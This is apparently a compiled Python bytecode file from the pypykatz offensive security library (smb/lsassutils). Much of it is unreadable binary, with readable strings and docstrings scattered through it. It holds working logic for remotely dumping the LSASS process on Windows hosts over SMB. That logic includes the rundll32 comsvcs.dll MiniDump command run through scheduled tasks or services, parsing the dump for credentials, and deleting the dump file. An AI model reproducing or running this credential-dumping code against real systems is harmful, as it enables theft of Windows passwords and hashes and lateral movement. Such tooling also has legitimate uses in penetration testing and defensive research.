o
    Žõ±jV  ã                   @   s†   d dl Z d dlZd dlZd dlmZmZmZ ddd„Zd dlm	Z	 dgdfdd	„Z
d
ddddgg dfdd„Zd
ddddgfdd„ZdS )é    N)ÚSMBFileEnumÚListTargetGenÚFileTargetGenc                    s(   ‡ ‡fdd„t ˆƒD ƒ}tj|d|iŽS )aV  Returns an iterator yielding `n` elements at a time.
	:param n: the number of elements to return at each iteration
	:param iterable: the iterable over which to iterate
	:param fillvalue: the value to use for missing elements
	:Example:
	>>> for (a,b,c) in natatime(3, [1,2,3,4,5], fillvalue = "?"):
		...   print a, b, c
		...
	1 2 3
	4 5 ?
	c                 3   s    � | ]}t  ˆ |d ˆ¡V  qd S ©N)Ú	itertoolsÚislice)Ú.0Úi©ÚiterableÚn© úŠ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/smb/lsassutils.pyÚ	<genexpr>   s   € znatatime.<locals>.<genexpr>Ú	fillvalue)Úranger   Úzip_longest)r   r   r   Ústepped_slicesr   r
   r   Únatatime   s   r   )ÚloggerÚalli   c              	   Ã   s  �ddl m} ddlm} ddlm} | | ¡}| ¡ }| ¡ }|4 I d H šW t	 
d¡ | ¡ I d H \}	}
|
d ur;|
‚t	 
d¡ t	 
d¡ | |¡I d H \}	}
|
d urU|
‚t	 
d¡ t	 
d	¡ |j||ƒ||d
�I d H }t	 
d¡ |W  d   ƒI d H  S 1 I d H sƒw   Y  d S )Nr   ©ÚSMBConnectionFactory©ÚSMBFileReader©Ú	apypykatzz#[LSASSFILE] Connecting to server...z[LSASSFILE] Connected!z&[LSASSFILE] Opening LSASS dump file...z[LSASSFILE] LSASS file opened!z![LSASSFILE] parsing LSASS file...©Ú	chunksizeÚpackagesz![LSASSFILE] LSASS file parsed OK!)Ú!aiosmb.commons.connection.factoryr   Úpypykatz.alsadecryptor.asbmfiler   Úpypykatz.apypykatzr   Úfrom_urlÚget_connectionÚget_filer   ÚdebugÚloginÚopenÚparse_minidump_external)Úurlr   r   r   r   r   ÚsmburlÚ
connectionÚsmbfileÚ_ÚerrÚmimir   r   r   Ú	lsassfile   s.   €






0ðr1   ÚtaskzC:\Windows\Temp\z\c$\Windows\Temp\é   c                 C  s®  �ddl m} d }	d }
g }g }g }|d urOt|ƒdkrOg }|d urO|D ]}zt|dƒ}| ¡  | t|ƒ¡ W q#   | |¡ Y q#t|ƒdkrO| t|ƒ¡ t| |ƒr[| }	|  	¡ }
n	| 
| ¡}	|	 	¡ }
t|
j ¡ |
|||||d�}| |¡ |D ]A}| ¡ 2 z93 d H W \}}}|	 |¡}t|j ¡ ||||||d�}| |¡ t|ƒ|kr¸tj|Ž I d H }|D ]}|V  q°g }q6 qyt|ƒdkrÕtj|Ž I d H }|D ]}|V  qËg }d S d S )Nr   r   Úr)ÚmethodÚremote_base_pathÚremote_share_namer   r   )r    r   Úlenr(   ÚcloseÚappendr   r   Ú
isinstancer$   r#   Úlsassdump_singleÚtargetÚget_hostname_or_ipÚgenerateÚcreate_connection_newtargetÚasyncioÚgather)r*   r5   r6   r7   r   r   ÚtargetsÚ
worker_cntr   Úbase_urlÚ	base_connÚmimisÚworkersÚtgensÚnotfiler=   ÚfÚlsassdump_coroÚtgenr.   r/   ÚtconnÚtresÚresr   r   r   Ú	lsassdump4   sx   €



ù
	
ù
	€ðürQ   c              
   Ã   sî  ��zTddl m} ddlm} ddlm}	 ddlm}
 ddlm	} ddl
m} | d¡d	u r2|d7 }| d¡d	u r=|d7 }d
t d¡ ¡ t d¡ ¡ f }|| }|| }|dkrbd |¡}|g}n|dkrid}ntd| ƒ‚d }|4 I d H šÎ t d|  ¡ | ¡ I d H \}}|d urŽ|‚t d|  ¡ |	|ƒ4 I d H šO}|dkr½t d|  ¡ | ¡ I d H \}}|d ur¸|‚|
|ƒ}n%|dkrÜt d|  ¡ | ¡ I d H \}}|d ur×|‚|
|ƒ}ntd| ƒ‚W d   ƒI d H  n1 I d H sòw   Y  t d|  ¡ t d|  ¡ |j|||d�I d H }t d|  ¡ t d|  ¡ | ¡ I d H \}}|d u�r5td| |f ƒ ntd|  ƒ W d   ƒI d H  n1 I d H �sLw   Y  | |d fW S  t�yv } zdd l}| ¡  | d |fW  Y d }~S d }~ww )Nr   )ÚSMBException)ÚNTStatus)Ú
SMBMachiner   )ÚSMBFiler   ú\Fz%s.%sr3   é   r2   z¤for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B {} fullÚserviceÚ zUnknown execution method %sz'[LSASSDUMP][%s] Connecting to server...z[LSASSDUMP][%s] Connected!z9[LSASSDUMP][%s] Start dumping LSASS with taskexec method!z<[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!z'[LSASSDUMP][%s] LSASS dump file opened!z=[LSASSDUMP][%s] parsing LSASS dump file on the remote host...r   z[LSASSDUMP][%s] parsing OK!z,[LSASSDUMP][%s] Deleting remote dump file...z,[%s] Failed to delete LSASS file! Reason: %sz"[%s] Remote LSASS file deleted OK!)Úaiosmb.commons.exceptionsrR   Úaiosmb.wintypes.ntstatusrS   Ú!aiosmb.commons.interfaces.machinerT   r!   r   Úaiosmb.commons.interfaces.filerU   r"   r   ÚendswithÚosÚurandomÚhexÚformatÚ	Exceptionr   r&   r'   Útask_dump_lsassÚservice_dump_lsassr)   ÚdeleteÚprintÚ	tracebackÚ	print_exc)Útargetidr,   r5   r6   r7   r   r   rR   rS   rT   r   rU   r   ÚfnameÚfilepathÚfilesharepathÚcmdÚcommandsr0   r.   r/   ÚmachineÚsmbfile_innerr-   Úerh   r   r   r   r<   v   sz   € 


(Ô.
€*Â@€ýr<   r   )rA   r_   r   Úaiosmb.examples.smbshareenumr   r   r   r   Úpypykatzr   r1   rQ   r<   r   r   r   r   Ú<module>   s    
B